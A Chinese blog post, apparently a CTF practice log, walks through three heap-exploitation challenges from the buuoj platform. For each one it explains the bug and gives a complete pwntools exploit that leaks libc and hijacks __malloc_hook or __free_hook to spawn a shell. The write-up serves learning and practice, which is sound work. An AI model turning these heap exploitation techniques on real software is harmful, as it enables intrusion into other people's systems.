目錄
  1. 1. roarctf 2019 easyheap
    1. 1.1. house of spirit
    2. 1.2. 文件描述符重定向
    3. 1.3. 题解
  2. 2. 0CTF 2017 babyheap
    1. 2.1. mmap的calloc分配不会memset
  3. 3. axb 2019 heap
buuoj刷题记录之堆

roarctf 2019 easyheap

这道题涉及的利用的技巧主要是house of spirit和文件描述符重定向

house of spirit

hos利用场景是可写区域-不可写区域-可写区域,这时可以利用堆中的漏洞进行hos而使中间的不可写区域变得可写。方法是通过伪造堆块使其加入bins中

文件描述符重定向

题目在后半部分关闭stdout和stderr,具体参考Linux反弹shell(一)文件描述符与重定向

题解

除了PIE,其他保护全开。功能如下:

  1. add:可以malloc申请不超过0x80的堆块
  2. dele:free之后未清零,可以造成double free
  3. show:需要中间不可写区域为特定值,使用后关闭stdout和stderr
  4. secret:当功能号为666时,可以使用。可以calloc(0xA0)和free,也是没有清零。可以多次使用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
unsigned __int64 secret()
{
int v0; // eax
__int64 v2; // [rsp+0h] [rbp-18h]
unsigned __int64 v3; // [rsp+8h] [rbp-10h]

v3 = __readfsqword(0x28u);
if ( !qword_602010 )
{
puts("everything has a price");
goto LABEL_7; //仍然减少
}
puts("build or free?");
if ( (signed int)read(0, &v2, 8uLL) < 0 )
{
LABEL_10:
puts("read error");
exit(0);
}
v0 = strtol((const char *)&v2, 0LL, 10);
if ( v0 == 1 )
{
ptr = calloc(0xA0uLL, 1uLL);
puts("please input your content");
if ( (signed int)read(0, ptr, 0xA0uLL) >= 0 )
goto LABEL_7;
goto LABEL_10;
}
if ( v0 == 2 )
free(ptr);
else
puts("invaild choice");
LABEL_7:
--qword_602010; //当减至小于0时仍可使用
return __readfsqword(0x28u) ^ v3;
}

首先是输入name和info,即两处可写区域

1
2
3
4
5
.bss:0000000000602060 unk_602060     #name,大小0x20
.bss:0000000000602088 buf
.bss:0000000000602090 qword_602090 #需要为0xdeadbeefdeadbeef才能show
.bss:0000000000602098 ; void *ptr
.bss:00000000006020A0 unk_6020A0 #info,大小0x20

思路如下:

在name和info处伪造好堆块

1
2
3
pay = p64(0) + p64(0x51)
sl("name:",pay)
sl("info",p64(0)*3+p64(0x51))

利用double free造成fastbin attack将bss加入fastbinzhong

1
2
3
4
5
6
7
8
9
10
11
12
13
secret(1)
add(0x40,'aaa')
secret(2)
add(0x40,'aaa')
add(0x50,'aaa')
add(0x40,'aaa')
dele()
secret(2)
dele()
add(0x40,p64(0x602060))
add(0x40,'aaa')
add(0x40,'aaa')
add(0x40,p64(0)*3+p64(elf.got['exit'])+p64(0xdeadbeefdeadbeef))

泄露libc,因为got表不可写,因此需要再次利用fastbin attack劫持malloc

1
2
3
4
5
6
7
8
dele2()
p.sendline("666")
p.sendline("2")
dele2()
add2(0x68,p64(malloc_hook-0x23))
add2(0x68,'bbb')
add2(0x68,'bbb')
add2(0x68,'\x00'*3+p64(0)+p64(one)+p64(realloc+0x14))

完整exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *

context.terminal = ['tmux','split','-h']
# context.log_level = 'debug'

p = process("./roarctf_2019_easyheap")
# p = remote("node3.buuoj.cn",28917)
elf = ELF("./roarctf_2019_easyheap")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

sl = lambda x,y: p.sendlineafter(x,y)
s = lambda x,y: p.sendafter(x,y)

def add(size,cnt):
sl(">> ","1")
sl("size",str(size))
s("content",cnt)

def add2(size,cnt):
p.sendline("1")
p.sendline(str(size))
p.sendline(cnt)

def dele():
sl(">> ","2")

def dele2():
p.sendline("2")

def show():
sl(">> ","3")

def secret(i):
sl(">> ","666")
sl("?",str(i))
if i==1:
sl("content","kangel")

def gd():
gdb.attach(p)

pay = p64(0) + p64(0x51)
sl("name:",pay)
sl("info",p64(0)*3+p64(0x51))
# add(0x40,'aaa')
secret(1)
add(0x40,'aaa')
secret(2)
add(0x40,'aaa')
add(0x50,'aaa')
add(0x40,'aaa')
dele()
secret(2)
dele()
add(0x40,p64(0x602060))
add(0x40,'aaa')
add(0x40,'aaa')
add(0x40,p64(0)*3+p64(elf.got['exit'])+p64(0xdeadbeefdeadbeef))
show()
libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.sym['exit']
malloc_hook = libc.sym['__malloc_hook'] + libc_base
realloc = libc.sym['realloc'] + libc_base
one = libc_base +0xf1147# 0x4526a

print hex(libc_base)
p.sendline("666")
p.sendline("666")
p.sendline("1")
p.sendline("aaa")
add2(0x68,'bbb')
p.sendline("666")
p.sendline("2")
add2(0x68,'bbb')
add2(0x68,'bbb')
dele2()
p.sendline("666")
p.sendline("2")
dele2()
add2(0x68,p64(malloc_hook-0x23))
add2(0x68,'bbb')
add2(0x68,'bbb')
add2(0x68,'\x00'*3+p64(0)+p64(one)+p64(realloc+0x14))
# gd()
add2(0x68,'exec 1>&0') #将stdout重定向到stdin,即终端
p.interactive()

0CTF 2017 babyheap

edit处存在堆溢出,因此可以overlapping打fastbin attack。add使用的是calloc,可以改写ismmap标志位从而泄露libc

mmap的calloc分配不会memset

具体方法如下:

  1. 申请largebin大小(0x500)的堆块并free,这时进入unsorted bin。
  2. 利用堆溢出是ismmap = 1
  3. 申请更大(0x600)的堆块,unsorted bin中的堆块进入largebin
  4. 重新calloc申请(0x500),不会memset
1
2
3
4
5
6
7
add(0x500)#5
add(0x68)#6
delete(5)
add(0x600)#5
edit(3,0x70,0x68*'b'+p64(0x513))
add(0x500)#7
show(7)

之后是常规的overlapping打fastbin attack,然后劫持malloc_hook。

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux','split','-h']

p = process("./0ctf_2017_babyheap")
# p = remote("node3.buuoj.cn",29087)
elf = ELF("./0ctf_2017_babyheap")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

sl = lambda x,y: p.sendlineafter(x,y)
s = lambda x,y: p.sendafter(x,y)

def add(size):
sl("Command:","1")
sl("Size:",str(size))

def edit(idx,size,cnt):
sl("Command:","2")
sl("Index:",str(idx))
sl("Size:",str(size))
s("Content:",cnt)

def delete(idx):
sl("Command:","3")
sl("Index:",str(idx))

def show(idx):
sl("Command:","4")
sl("Index:",str(idx))

def gd():
gdb.attach(p)

add(0x68)#0
add(0x68)#1
add(0x68)#2
add(0x68)#3
edit(0,0x70,'a'*0x68+p64(0xe1))
delete(1)
add(0x68)#1
add(0x68)#4
edit(4,3,"123")
add(0x500)#5
add(0x68)#6
delete(5)
add(0x600)#5
edit(3,0x70,0x68*'b'+p64(0x513))
add(0x500)#7
show(7)
p.recvuntil("Content: \n")
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x3c4fa8
print hex(libc_base)
malloc_hook = libc.sym['__malloc_hook'] + libc_base
realloc = libc.sym['realloc'] + libc_base
one = libc_base +0xf1147# 0x4526a

delete(2)
delete(0)
delete(4)
add(0x68)#0
add(0x68)#2
edit(0,8,p64(malloc_hook-0x23))
add(0x68)#4
add(0x68)#8
edit(8,0x1b,'\x00'*3+p64(0)+p64(one)+p64(realloc+4))
add(0x10)
p.interactive()

axb 2019 heap

格式化字符串泄露程序基址和libc基址,off by one打unlink

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux','split','-h']

# p = process("./axb_2019_heap")
p = remote("node3.buuoj.cn",25965)
elf = ELF("./axb_2019_heap")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

s = lambda x,y: p.sendafter(x,y)
sl = lambda x,y: p.sendlineafter(x,y)

def add(idx,size,content):
sl(">> ","1")
sl("10):",str(idx))
sl("size:",str(size))
sl("content:",content)

def delete(idx):
sl(">> ","2")
sl("index:",str(idx))

def edit(idx,content):
sl(">> ","4")
sl("index:",str(idx))
sl("content:",content)

def gd():
gdb.attach(p)

sl("name:","%14$p%15$p")
p.recvuntil("0x")
elf_base = int(p.recv(12),16) - 0x1200
p.recvuntil("0x")
libc_base = int(p.recv(12),16) - 0x20830
log.success("elf_base:"+hex(elf_base))
log.success("libc_base:"+hex(libc_base))

add(0,0x98,'a'*0x98)
add(1,0x98,'a'*0x98)
add(2,0x90,'/bin/sh\x00')
payload = p64(0)+p64(0x91)+p64(elf_base+0x202048)+p64(elf_base+0x202050)+p64(0)*14+p64(0x90)+p8(0xa0)
edit(0,payload)
delete(1)
payload = p64(0)*3 + p64(libc_base+libc.sym['__free_hook'])+p64(0x90)
edit(0,payload)
edit(0,p64(libc_base+libc.sym['system']))
delete(2)
p.interactive()
文章作者: kangel
文章鏈接: https://j-kangel.github.io/2020/06/09/buuoj刷题记录之堆/
版權聲明: 本博客所有文章除特別聲明外,均採用 CC BY-NC-SA 4.0 許可協議。轉載請註明來自 KANGEL